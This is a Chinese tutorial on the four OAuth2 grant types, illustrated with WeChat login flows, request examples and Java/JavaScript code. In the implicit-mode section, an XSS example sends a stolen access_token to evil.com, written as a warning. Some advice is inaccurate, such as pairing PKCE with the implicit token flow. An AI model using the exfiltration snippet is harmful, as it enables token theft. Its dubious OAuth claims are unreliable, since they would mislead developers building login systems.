Appearance
OAuth2
本文解释OAuth2的四种授权模式。并以微信登录为例,说明每种模式的适用场景。
OAuth2 四种授权模式
四种模式概览
| 模式 | 适用场景 | 安全性 | 复杂度 |
|---|---|---|---|
| 授权码模式 | 有后端的 Web 应用 | ⭐⭐⭐⭐⭐ | 中等 |
| 隐式模式 | 纯前端应用 | ⭐⭐ | 简单 |
| 密码模式 | 受信任的第一方应用 | ⭐⭐⭐ | 简单 |
| 客户端凭证模式 | 机器对机器通信 | ⭐⭐⭐⭐ | 简单 |
授权码模式详解
完整流程
用户 前端应用 后端服务器 微信服务器
│ │ │ │
│ 1. 点击登录 │ │ │
├──────────────────>│ │ │
│ │ │ │
│ │ 2. 生成 state │ │
│ │ 存储在 Session │ │
│ │ │ │
│ 3. 重定向到授权页 │ │ │
│<──────────────────┤ │ │
│ │ │ │
│ 4. 用户扫码确认 │ │ │
├──────────────────────────────────────────────────────────────>│
│ │ │ │
│ 5. 回调带 code │ │ │
│<──────────────────────────────────────────────────────────────┤
│ │ │ │
│ │ 6. 发送 code │ │
│ ├───────────────────>│ │
│ │ │ │
│ │ │ 7. 验证 state │
│ │ ├───────────────────┤
│ │ │ │
│ │ │ 8. 用 code 换 token
│ │ ├───────────────────────────────────>
│ │ │ │
│ │ │ 9. 返回 access_token
│ │ │<───────────────────────────────────┤
│ │ │ │
│ │ │ 10. 获取用户信息 │
│ │ ├───────────────────────────────────>
│ │ │ │
│ │ │ 11. 返回用户信息 │
│ │ │<───────────────────────────────────┤
│ │ │ │
│ │ 12. 创建会话 │ │
│ │<───────────────────┤ │
│ │ │ │
│ 13. 登录成功 │ │ │
│<──────────────────┤ │ │请求示例
步骤 1-3:发起授权请求
GET https://open.weixin.qq.com/connect/qrconnect?
appid=wx1234567890&
redirect_uri=http://example.com/callback&
response_type=code& ← 固定值:code
scope=snsapi_login&
state=abc123步骤 5:接收回调
GET http://example.com/callback?
code=AUTHORIZATION_CODE& ← 授权码
state=abc123步骤 8:使用 code 换取 token
POST https://api.weixin.qq.com/sns/oauth2/access_token?
appid=wx1234567890&
secret=secret123456& ← 客户端密钥(保密)
code=AUTHORIZATION_CODE&
grant_type=authorization_code响应:
json
{
"access_token": "ACCESS_TOKEN",
"expires_in": 7200,
"refresh_token": "REFRESH_TOKEN",
"openid": "OPENID",
"scope": "snsapi_login"
}步骤 10:获取用户信息
GET https://api.weixin.qq.com/sns/userinfo?
access_token=ACCESS_TOKEN&
openid=OPENID安全机制
✅ 优点
双重验证
- 前端:验证
state(防 CSRF) - 后端:验证
code(防重放)
- 前端:验证
密钥保护
client_secret只在后端使用- 用户永远看不到密钥
Token 安全
access_token在后端生成- 用户无法直接访问 token
支持刷新
- 提供
refresh_token - 可以长期维持登录状态
- 提供
⚠️ 注意事项
java
// 1. 验证 state
String storedState = session.getAttribute("oauth_state");
if (!requestState.equals(storedState)) {
throw new SecurityException("Invalid state");
}
// 2. 删除已使用的 state(防重放)
session.removeAttribute("oauth_state");
// 3. 验证 code(只能使用一次)
if (redisTemplate.hasKey("used_code:" + code)) {
throw new SecurityException("Code already used");
}
// 4. 标记 code 已使用
redisTemplate.opsForValue().set(
"used_code:" + code,
"used",
5,
TimeUnit.MINUTES
);隐式模式(简略模式)详解
完整流程
用户 前端应用 微信服务器
│ │ │
│ 1. 点击登录 │ │
├──────────────────>│ │
│ │ │
│ │ 2. 生成 state │
│ │ 存储在 localStorage │
│ │ │
│ 3. 重定向到授权页 │ │
│<──────────────────┤ │
│ │ │
│ 4. 用户扫码确认 │ │
├────────────────────────────────────────────────────────────>│
│ │ │
│ 5. 回调带 token(在 URL fragment 中) │
│<────────────────────────────────────────────────────────────┤
│ │ │
│ │ 6. 提取 access_token │
│ │ 从 window.location.hash 中提取 │
│ │ │
│ │ 7. 直接请求用户信息 │
│ ├────────────────────────────────────────>│
│ │ │
│ │ 8. 返回用户信息 │
│ │<────────────────────────────────────────┤
│ │ │
│ 9. 登录成功 │ │
│<──────────────────┤ │请求示例
步骤 1-3:发起授权请求
GET https://open.weixin.qq.com/connect/qrconnect?
appid=wx1234567890&
redirect_uri=http://example.com/callback&
response_type=token& ← 固定值:token
scope=snsapi_login&
state=abc123步骤 5:接收回调
HTTP/1.1 302 Found
Location: http://example.com/callback#access_token=ACCESS_TOKEN&expires_in=7200&state=abc123注意:
- Token 在 URL fragment(
#后面) - 不会发送到服务器
- 只能通过 JavaScript 访问
步骤 6:提取 token
javascript
// 从 URL fragment 中提取参数
const hash = window.location.hash.substring(1); // 去掉 #
const params = new URLSearchParams(hash);
const accessToken = params.get('access_token');
const expiresIn = params.get('expires_in');
const state = params.get('state');
// 验证 state
const storedState = localStorage.getItem('oauth_state');
if (state !== storedState) {
throw new Error('Invalid state');
}
// 存储 token(注意:不安全!)
localStorage.setItem('access_token', accessToken);步骤 7:直接请求用户信息
javascript
// 直接从前端请求用户信息
fetch(`https://api.weixin.qq.com/sns/userinfo?access_token=${accessToken}&openid=OPENID`)
.then(response => response.json())
.then(userInfo => {
console.log('用户信息:', userInfo);
// 显示用户信息
});安全问题
❌ 缺点
Token 泄露风险
javascript// Token 暴露在 URL 中 http://example.com/callback#access_token=ACCESS_TOKEN // 用户可以看到 // 浏览器历史记录会保存 // 恶意脚本可以读取无法保密
javascript// 没有 client_secret // 任何人都可以使用你的 appid 获取 token不支持刷新
javascript// 没有 refresh_token // Token 过期后必须重新登录XSS 攻击风险
javascript// 如果网站有 XSS 漏洞 // 攻击者可以窃取 access_token <script> // 恶意脚本 const token = localStorage.getItem('access_token'); fetch('http://evil.com/steal?token=' + token); </script>
⚠️ 安全建议
javascript
// 1. 使用短期 token
// 隐式模式的 token 有效期应该很短(如 1 小时)
// 2. 不要存储敏感信息
// 不要用 localStorage 存储 token(使用 sessionStorage)
// 3. 验证 state
const storedState = sessionStorage.getItem('oauth_state');
if (state !== storedState) {
throw new Error('Invalid state');
}
// 4. 使用 PKCE(Proof Key for Code Exchange)
// 即使使用隐式模式,也应该使用 PKCE 增强安全性
const codeVerifier = generateRandomString();
const codeChallenge = sha256(codeVerifier);
// 在授权请求中包含 code_challenge
const authUrl = `https://open.weixin.qq.com/connect/qrconnect?
appid=${appid}&
redirect_uri=${redirectUri}&
response_type=token&
scope=snsapi_login&
state=${state}&
code_challenge=${codeChallenge}&
code_challenge_method=S256`;密码模式详解
完整流程
用户 前端应用 后端服务器 授权服务器
│ │ │ │
│ 1. 输入用户名密码 │ │ │
├──────────────────>│ │ │
│ │ │ │
│ │ 2. 发送用户名密码 │ │
│ ├───────────────────>│ │
│ │ │ │
│ │ │ 3. 验证用户身份 │
│ │ ├───────────────────┤
│ │ │ │
│ │ │ 4. 请求 token │
│ │ ├───────────────────────────────────>
│ │ │ │
│ │ │ 5. 返回 access_token
│ │ │<───────────────────────────────────┤
│ │ │ │
│ │ 6. 返回 token │ │
│ │<───────────────────┤ │
│ │ │ │
│ 7. 登录成功 │ │ │
│<──────────────────┤ │ │请求示例
步骤 1-2:用户输入凭证
html
<form action="/login" method="post">
<input type="text" name="username" placeholder="用户名">
<input type="password" name="password" placeholder="密码">
<button type="submit">登录</button>
</form>步骤 4:请求 token
POST https://api.example.com/oauth2/token?
grant_type=password&
username=user@example.com&
password=user_password&
client_id=client123&
scope=read write响应:
json
{
"access_token": "ACCESS_TOKEN",
"expires_in": 3600,
"refresh_token": "REFRESH_TOKEN",
"scope": "read write"
}安全机制
✅ 优点
简单直接
- 用户直接输入凭证
- 无需跳转授权页面
- 流程简单
适合第一方应用
- 官方应用
- 受信任的应用
- 用户愿意提供凭证
❌ 缺点
凭证泄露风险
java// 用户名密码暴露给应用 String username = request.getParameter("username"); String password = request.getParameter("password"); // 应用可以看到用户的真实密码 // 如果应用不可信,密码可能被窃取无法撤销
java// 用户无法单独撤销某个应用的权限 // 只能修改密码权限范围有限
java// 无法限制应用的权限范围 // 应用获得用户的所有权限
适用场景
密码模式适用场景:
┌─────────────────────────────────────┐
│ 1. 官方应用 │
│ - 官方移动 App │
│ - 官方桌面应用 │
│ - 官方网站 │
├─────────────────────────────────────┤
│ 2. 受信任的第一方应用 │
│ - 用户信任的应用 │
│ - 同一公司的产品 │
│ - 内部系统 │
├─────────────────────────────────────┤
│ 3. 传统系统迁移 │
│ - 从传统登录迁移到 OAuth2 │
│ - 保持用户体验一致 │
│ - 逐步升级 │
└─────────────────────────────────────┘实际案例
案例:官方移动应用登录
java
@RestController
public class PasswordLoginController {
@PostMapping("/login")
public Map<String, Object> login(
@RequestParam String username,
@RequestParam String password
) {
// 1. 验证用户凭证
User user = userService.authenticate(username, password);
if (user == null) {
throw new AuthenticationException("Invalid credentials");
}
// 2. 请求授权服务器
String tokenUrl = "https://api.example.com/oauth2/token";
Map<String, String> params = new HashMap<>();
params.put("grant_type", "password");
params.put("username", username);
params.put("password", password);
params.put("client_id", "official_app");
params.put("scope", "read write");
JSONObject tokenInfo = httpClient.post(tokenUrl, params);
// 3. 返回 token
Map<String, Object> result = new HashMap<>();
result.put("access_token", tokenInfo.getString("access_token"));
result.put("expires_in", tokenInfo.getInteger("expires_in"));
result.put("refresh_token", tokenInfo.getString("refresh_token"));
return result;
}
}客户端凭证模式详解
完整流程
客户端应用 授权服务器
│ │
│ 1. 请求 access_token │
│ (使用 client_id + client_secret) │
├───────────────────────────────────────>│
│ │
│ 2. 验证 client 凭证 │
│ ├───────────┐
│ │ │
│ │<──────────┘
│ │
│ 3. 返回 access_token │
│<───────────────────────────────────────┤
│ │
│ 4. 使用 token 访问资源 │
├───────────────────────────────────────>│
│ │
│ 5. 返回资源数据 │
│<───────────────────────────────────────┤请求示例
步骤 1:请求 token
POST https://api.example.com/oauth2/token?
grant_type=client_credentials&
client_id=client123&
client_secret=secret456&
scope=api:read api:write响应:
json
{
"access_token": "ACCESS_TOKEN",
"expires_in": 3600,
"token_type": "Bearer",
"scope": "api:read api:write"
}使用 token 访问资源
bash
curl -H "Authorization: Bearer ACCESS_TOKEN" \
https://api.example.com/api/data5.3 安全机制
✅ 优点
无需用户参与
java// 不需要用户登录 // 完全自动化 String tokenUrl = "https://api.example.com/oauth2/token"; Map<String, String> params = new HashMap<>(); params.put("grant_type", "client_credentials"); params.put("client_id", clientId); params.put("client_secret", clientSecret); JSONObject tokenInfo = httpClient.post(tokenUrl, params);适合机器对机器通信
后端服务 A → 授权服务器 → 后端服务 B (获取 token) (使用 token)安全性较高
java// client_secret 只在服务端使用 // 不会暴露给用户 // 适合后端服务
❌ 缺点
无用户上下文
java// Token 不代表特定用户 // 只代表客户端应用 // 无法获取用户特定信息权限范围有限
java// 只能访问客户端级别的资源 // 无法访问用户私有资源 // 权限由客户端决定不支持 refresh_token
java// 客户端凭证模式不返回 refresh_token // Token 过期后需要重新请求 // 需要实现自动刷新机制
适用场景
客户端凭证模式适用场景:
┌─────────────────────────────────────┐
│ 1. 微服务通信 │
│ - 服务 A 调用服务 B │
│ - 后端服务之间的 API 调用 │
│ - 无需用户参与 │
├─────────────────────────────────────┤
│ 2. 定时任务 │
│ - 后台数据同步 │
│ - 定期报表生成 │
│ - 自动化脚本 │
├─────────────────────────────────────┤
│ 3. 系统级操作 │
│ - 管理员操作 │
│ - 系统监控 │
│ - 批量数据处理 │
├─────────────────────────────────────┤
│ 4. 第三方服务集成 │
│ - 支付网关 │
│ - 短信服务 │
│ - 邮件服务 │
└─────────────────────────────────────┘实际案例
案例 1:微服务通信
java
@Service
public class PaymentService {
private String accessToken;
private long tokenExpireTime;
/**
* 获取 access_token
*/
private String getAccessToken() {
// 检查 token 是否过期
if (accessToken != null && System.currentTimeMillis() < tokenExpireTime) {
return accessToken;
}
// 请求新 token
String tokenUrl = "https://api.example.com/oauth2/token";
Map<String, String> params = new HashMap<>();
params.put("grant_type", "client_credentials");
params.put("client_id", "payment_service");
params.put("client_secret", "payment_secret");
params.put("scope", "payment:process");
JSONObject tokenInfo = httpClient.post(tokenUrl, params);
accessToken = tokenInfo.getString("access_token");
tokenExpireTime = System.currentTimeMillis() +
tokenInfo.getInteger("expires_in") * 1000;
return accessToken;
}
/**
* 处理支付
*/
public PaymentResult processPayment(PaymentRequest request) {
String token = getAccessToken();
// 调用支付网关
HttpHeaders headers = new HttpHeaders();
headers.setBearerAuth(token);
HttpEntity<PaymentRequest> entity = new HttpEntity<>(request, headers);
ResponseEntity<PaymentResult> response = restTemplate.postForEntity(
"https://payment-gateway.com/api/process",
entity,
PaymentResult.class
);
return response.getBody();
}
}案例 2:定时任务
java
@Component
public class DataSyncTask {
@Autowired
private OAuth2Client oAuth2Client;
@Scheduled(cron = "0 0 2 * * ?") // 每天凌晨 2 点执行
public void syncUserData() {
// 1. 获取 access_token
String accessToken = oAuth2Client.getClientCredentialsToken(
"data_sync_service",
"sync_secret",
"user:read user:sync"
);
// 2. 调用用户服务 API
HttpHeaders headers = new HttpHeaders();
headers.setBearerAuth(accessToken);
HttpEntity<?> entity = new HttpEntity<>(headers);
ResponseEntity<List<User>> response = restTemplate.exchange(
"https://user-service.com/api/users",
HttpMethod.GET,
entity,
new ParameterizedTypeReference<List<User>>() {}
);
List<User> users = response.getBody();
// 3. 同步数据
for (User user : users) {
syncUserToThirdParty(user);
}
}
private void syncUserToThirdParty(User user) {
// 同步用户数据到第三方系统
}
}案例 3:系统监控
java
@RestController
public class SystemMonitorController {
@GetMapping("/api/system/stats")
public SystemStats getSystemStats() {
// 使用客户端凭证模式获取系统级数据
String accessToken = getSystemAccessToken();
// 调用各个微服务获取状态
SystemStats stats = new SystemStats();
stats.setUserServiceStatus(checkServiceStatus(accessToken, "user-service"));
stats.setPaymentServiceStatus(checkServiceStatus(accessToken, "payment-service"));
stats.setOrderServiceStatus(checkServiceStatus(accessToken, "order-service"));
return stats;
}
private String getSystemAccessToken() {
String tokenUrl = "https://auth-server.com/oauth2/token";
Map<String, String> params = new HashMap<>();
params.put("grant_type", "client_credentials");
params.put("client_id", "system_monitor");
params.put("client_secret", "monitor_secret");
params.put("scope", "system:monitor");
JSONObject tokenInfo = httpClient.post(tokenUrl, params);
return tokenInfo.getString("access_token");
}
private ServiceStatus checkServiceStatus(String token, String serviceName) {
HttpHeaders headers = new HttpHeaders();
headers.setBearerAuth(token);
HttpEntity<?> entity = new HttpEntity<>(headers);
ResponseEntity<ServiceStatus> response = restTemplate.exchange(
"https://" + serviceName + "/health",
HttpMethod.GET,
entity,
ServiceStatus.class
);
return response.getBody();
}
}四种模式对比
核心区别
| 特性 | 授权码模式 | 隐式模式 | 密码模式 | 客户端凭证模式 |
|---|---|---|---|---|
| 中间凭证 | code | 无 | 无 | 无 |
| Token 生成位置 | 后端服务器 | 授权服务器 | 授权服务器 | 授权服务器 |
| Token 传递方式 | HTTP Response | URL Fragment | HTTP Response | HTTP Response |
| 是否需要后端 | ✅ 需要 | ❌ 不需要 | ✅ 需要 | ✅ 需要 |
| client_secret | ✅ 需要 | ❌ 不需要 | ❌ 不需要 | ✅ 需要 |
| 用户凭证 | ❌ 不需要 | ❌ 不需要 | ✅ 需要 | ❌ 不需要 |
| refresh_token | ✅ 支持 | ❌ 不支持 | ✅ 支持 | ❌ 不支持 |
| 用户上下文 | ✅ 有 | ✅ 有 | ✅ 有 | ❌ 无 |
| 安全性 | ⭐⭐⭐⭐⭐ | ⭐⭐ | ⭐⭐⭐ | ⭐⭐⭐⭐ |
| 适用场景 | Web 应用 | 纯前端应用 | 官方应用 | 微服务通信 |
流程对比
授权码模式
用户 → 前端 → 授权服务器 → 前端 → 后端 → 授权服务器 → 后端 → 前端
(1) (2) (3) (4) (5) (6) (7)
1. 前端重定向到授权服务器
2. 用户同意授权,返回 code
3. 前端将 code 发送给后端
4. 后端使用 code + secret 换取 token
5. 授权服务器返回 token
6. 后端使用 token 获取用户信息
7. 后端创建会话,返回给前端隐式模式
用户 → 前端 → 授权服务器 → 前端 → 授权服务器 → 前端
(1) (2) (3) (4) (5)
1. 前端重定向到授权服务器
2. 用户同意授权,直接返回 token
3. 前端从 URL fragment 提取 token
4. 前端直接使用 token 请求用户信息
5. 授权服务器返回用户信息密码模式
用户 → 前端 → 后端 → 授权服务器 → 后端 → 前端
(1) (2) (3) (4) (5)
1. 用户输入用户名密码
2. 前端将凭证发送给后端
3. 后端使用凭证 + client_id 换取 token
4. 授权服务器返回 token
5. 后端创建会话,返回给前端客户端凭证模式
后端服务 → 授权服务器 → 后端服务 → 资源服务器 → 后端服务
(1) (2) (3) (4) (5)
1. 后端服务使用 client_id + client_secret 请求 token
2. 授权服务器返回 token
3. 后端服务使用 token 访问资源
4. 资源服务器返回数据
5. 后端服务处理数据安全性对比
授权码模式的安全机制
java
// 1. State 验证(防 CSRF)
String state = UUID.randomUUID().toString();
session.setAttribute("oauth_state", state);
// 回调时验证
String storedState = (String) session.getAttribute("oauth_state");
if (!requestState.equals(storedState)) {
throw new SecurityException("Invalid state");
}
// 2. Code 一次性使用(防重放)
if (redisTemplate.hasKey("used_code:" + code)) {
throw new SecurityException("Code already used");
}
redisTemplate.opsForValue().set("used_code:" + code, "used", 5, TimeUnit.MINUTES);
// 3. Client Secret 验证(防冒充)
// 只有知道 secret 的应用才能换取 token
String tokenUrl = "https://api.weixin.qq.com/sns/oauth2/access_token?" +
"appid=" + appid +
"&secret=" + secret + // 只有后端知道
"&code=" + code +
"&grant_type=authorization_code";
// 4. Token 不暴露给前端
// Token 只存在于后端,前端只知道 session id隐式模式的安全缺陷
javascript
// 1. Token 暴露在 URL 中
// http://example.com/callback#access_token=xxx
// 用户可以看到,浏览器历史记录会保存
// 2. 没有 client_secret
// 任何人都可以使用你的 appid
// 3. XSS 攻击风险
// 如果网站有 XSS 漏洞,token 可能被窃取
<script>
// 恶意脚本
const token = getAccessTokenFromURL();
sendToAttacker(token);
</script>
// 4. 无法撤销
// 没有 refresh_token,无法主动撤销密码模式的安全机制
java
// 1. 用户凭证保护
// 只在受信任的应用中使用
// 不要在第三方应用中使用
// 2. 传输加密
// 必须使用 HTTPS
// 防止凭证被窃取
// 3. 凭证验证
User user = userService.authenticate(username, password);
if (user == null) {
throw new AuthenticationException("Invalid credentials");
}
// 4. 权限控制
// 只授予必要的权限
params.put("scope", "read write"); // 限制权限范围客户端凭证模式的安全机制
java
// 1. Client Secret 保护
// 只在后端使用,不暴露给前端
params.put("client_secret", clientSecret);
// 2. 权限隔离
// 只授予客户端级别的权限
params.put("scope", "api:read api:write");
// 3. Token 缓存
// 缓存 token,减少请求次数
if (accessToken != null && System.currentTimeMillis() < tokenExpireTime) {
return accessToken;
}
// 4. 自动刷新
// Token 过期前自动刷新
tokenExpireTime = System.currentTimeMillis() + expiresIn * 1000;为什么微信选择授权码模式?
安全性考虑
授权码模式的安全性:
┌─────────────────────────────────────┐
│ 1. Code 作为一次性凭证 │
│ - 有效期短(5 分钟) │
│ - 只能使用一次 │
│ - 不包含敏感信息 │
├─────────────────────────────────────┤
│ 2. Client Secret 保护 │
│ - 只在后端使用 │
│ - 用户永远看不到 │
│ - 防止应用被冒充 │
├─────────────────────────────────────┤
│ 3. Token 不暴露 │
│ - 在后端生成 │
│ - 前端只知道 session id │
│ - 防止 token 被窃取 │
├─────────────────────────────────────┤
│ 4. 支持长期登录 │
│ - 提供 refresh_token │
│ - 可以刷新 access_token │
│ - 用户无需频繁登录 │
└─────────────────────────────────────┘业务需求
微信登录的业务需求:
┌─────────────────────────────────────┐
│ 1. 网站应用(有后端) │
│ - 需要存储用户信息 │
│ - 需要管理用户会话 │
│ - 需要调用微信 API │
├─────────────────────────────────────┤
│ 2. 安全性要求高 │
│ - 保护用户隐私 │
│ - 防止账号被盗 │
│ - 防止应用被冒充 │
├─────────────────────────────────────┤
│ 3. 长期登录需求 │
│ - 用户不希望频繁登录 │
│ - 需要 refresh_token │
│ - 需要自动刷新 token │
└─────────────────────────────────────┘四种模式的适用场景
适用场景
隐式模式适合以下场景:
1. 纯前端应用
- 静态网站
- 单页应用(SPA)
- 移动应用(无后端)
2. 临时访问
- 一次性授权
- 短期访问
- 不需要长期登录
3. 低安全要求
- 公开信息
- 非敏感操作
- 用户可接受的风险实际案例
案例 1:静态网站登录
html
<!DOCTYPE html>
<html>
<head>
<title>静态网站登录</title>
</head>
<body>
<button onclick="login()">微信登录</button>
<script>
function login() {
// 生成 state
const state = Math.random().toString(36).substring(7);
sessionStorage.setItem('oauth_state', state);
// 重定向到微信授权页面
const authUrl = `https://open.weixin.qq.com/connect/qrconnect?
appid=${appid}&
redirect_uri=${encodeURIComponent(redirectUri)}&
response_type=token&
scope=snsapi_login&
state=${state}`;
window.location.href = authUrl;
}
// 处理回调
window.onload = function() {
if (window.location.hash) {
const hash = window.location.hash.substring(1);
const params = new URLSearchParams(hash);
const accessToken = params.get('access_token');
const state = params.get('state');
// 验证 state
const storedState = sessionStorage.getItem('oauth_state');
if (state !== storedState) {
alert('安全验证失败');
return;
}
// 获取用户信息
fetch(`https://api.weixin.qq.com/sns/userinfo?access_token=${accessToken}`)
.then(response => response.json())
.then(userInfo => {
console.log('用户信息:', userInfo);
// 显示用户信息
});
}
};
</script>
</body>
</html>案例 2:移动应用(无后端)
javascript
// React Native 示例
import { Linking } from 'react-native';
class WeChatLogin {
async login() {
// 生成 state
const state = this.generateState();
await AsyncStorage.setItem('oauth_state', state);
// 构造授权 URL
const authUrl = `https://open.weixin.qq.com/connect/qrconnect?
appid=${APPID}&
redirect_uri=${encodeURIComponent(REDIRECT_URI)}&
response_type=token&
scope=snsapi_login&
state=${state}`;
// 打开微信
Linking.openURL(authUrl);
}
async handleCallback(url) {
// 解析回调 URL
const hash = url.split('#')[1];
const params = new URLSearchParams(hash);
const accessToken = params.get('access_token');
const state = params.get('state');
// 验证 state
const storedState = await AsyncStorage.getItem('oauth_state');
if (state !== storedState) {
throw new Error('Invalid state');
}
// 获取用户信息
const userInfo = await this.getUserInfo(accessToken);
return userInfo;
}
}最佳实践
授权码模式最佳实践
java
// 1. 使用 HTTPS
// 所有请求必须使用 HTTPS
// 2. 验证 state
String state = UUID.randomUUID().toString();
session.setAttribute("oauth_state", state);
// 3. 使用 PKCE(增强安全性)
String codeVerifier = generateRandomString();
String codeChallenge = sha256(codeVerifier);
session.setAttribute("code_verifier", codeVerifier);
// 4. 限制 scope
// 只请求必要的权限
// 5. 存储 refresh_token
redisTemplate.opsForValue().set(
"refresh_token:" + openid,
refreshToken,
30,
TimeUnit.DAYS
);
// 6. 定期刷新 token
@Scheduled(fixedRate = 3600000) // 每小时
public void refreshTokens() {
// 刷新即将过期的 token
}隐式模式最佳实践
javascript
// 1. 使用短期 token
// Token 有效期不超过 1 小时
// 2. 使用 sessionStorage(不是 localStorage)
sessionStorage.setItem('access_token', accessToken);
// 3. 验证 state
const storedState = sessionStorage.getItem('oauth_state');
if (state !== storedState) {
throw new Error('Invalid state');
}
// 4. 使用 PKCE
const codeVerifier = generateRandomString();
const codeChallenge = sha256(codeVerifier);
// 5. 及时清除 token
setTimeout(() => {
sessionStorage.removeItem('access_token');
}, expiresIn * 1000);
// 6. 不要在 URL 中传递敏感信息
// 使用 POST 请求(如果可能)总结
选择建议
┌─────────────────────────────────────────────┐
│ 如何选择授权模式? │
├─────────────────────────────────────────────┤
│ │
│ 有后端服务器? │
│ │ │
│ ├─ YES → 需要用户授权? │
│ │ │ │
│ │ ├─ YES → 使用授权码模式 ✅ │
│ │ │ │
│ │ └─ NO → 使用客户端凭证模式 ✅
│ │ │
│ └─ NO → 纯前端应用? │
│ │ │
│ ├─ YES → 使用隐式模式 ⚠️ │
│ │ (注意安全) │
│ │ │
│ └─ NO → 考虑添加后端 │
│ 或使用第三方服务 │
│ │
│ 是否是官方应用? │
│ │ │
│ ├─ YES → 可以考虑密码模式 ⚠️ │
│ │ (仅在用户信任时) │
│ │ │
│ └─ NO → 不要使用密码模式 ❌ │
│ │
└─────────────────────────────────────────────┘安全性等级
授权码模式:⭐⭐⭐⭐⭐
├─ State 验证
├─ Client Secret 保护
├─ Token 不暴露
└─ 支持 refresh_token
客户端凭证模式:⭐⭐⭐⭐
├─ Client Secret 保护
├─ Token 不暴露
├─ 无用户上下文
└─ 不支持 refresh_token
密码模式:⭐⭐⭐
├─ 用户凭证暴露
├─ 只适合受信任应用
├─ 支持 refresh_token
└─ 无法单独撤销
隐式模式:⭐⭐
├─ Token 暴露在 URL
├─ 无 Client Secret
├─ 不支持 refresh_token
└─ XSS 攻击风险
建议:
- 生产环境:优先使用授权码模式
- 微服务通信:使用客户端凭证模式
- 官方应用:可以使用密码模式(谨慎)
- 纯前端应用:使用隐式模式(注意安全)
- 敏感操作:必须使用授权码模式使用场景总结
| 场景 | 推荐模式 | 原因 |
|---|---|---|
| 第三方网站登录 | 授权码模式 | 安全性高,用户信任 |
| 移动应用登录 | 授权码模式 | 安全性高,支持刷新 |
| 单页应用(SPA) | 隐式模式 | 无需后端,简单实现 |
| 官方移动应用 | 密码模式 | 用户信任,体验好 |
| 微服务通信 | 客户端凭证模式 | 无需用户,自动化 |
| 定时任务 | 客户端凭证模式 | 无需用户,自动化 |
| 系统监控 | 客户端凭证模式 | 无需用户,自动化 |
| 支付网关 | 客户端凭证模式 | 安全性高,自动化 |